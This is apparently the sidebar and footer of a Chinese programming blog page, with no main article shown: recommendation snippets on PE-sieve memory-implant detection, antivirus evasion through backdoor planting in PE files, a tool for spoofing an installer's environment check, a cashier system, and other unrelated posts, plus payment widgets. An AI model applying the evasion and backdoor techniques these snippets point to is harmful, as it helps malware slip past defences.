win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

PE-sieve实战教程:5种常见内存植入物检测与dump技巧

在当今复杂的网络安全环境中,内存植入物已成为恶意软件常用的攻击手段。PE-sieve作为一款强大的开源内存扫描工具,能够精准识别并dump多种潜在恶意植入物,包括替换/注入的PE文件、shellcode、钩子和内存补丁等。本文将通过实战案例,详细介绍PE-sieve的5种核心应用技巧,帮助安全分析师快速掌握内存威胁检测与响应能力。 [![PE-sieve内存安全检测工具](https://raw

gitblog_00104的博客 1066

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

免杀的艺术:PE文件后门的植入(二)

本文讲的是免杀的艺术:PE文件后门的植入(二), 在上一篇《免杀的艺术 1》中,我们详细列举了各种实现免杀的技术。 今天,我们将继续为大家进行免杀的话题——PE文件后门的植入, 不过还是和上一篇一样,我们建议读者需要了解x86程序集,调试器和PE文件的基本知识。 现在几乎所有的安全研究人员,安全测试人员和恶意软件分析人员每天都要处理各种各样与后门攻击相...

weixin_34109408的博客 800

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

上一篇: 用C实现简单的EPO
下一篇: Worm.SnowMood.4096
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值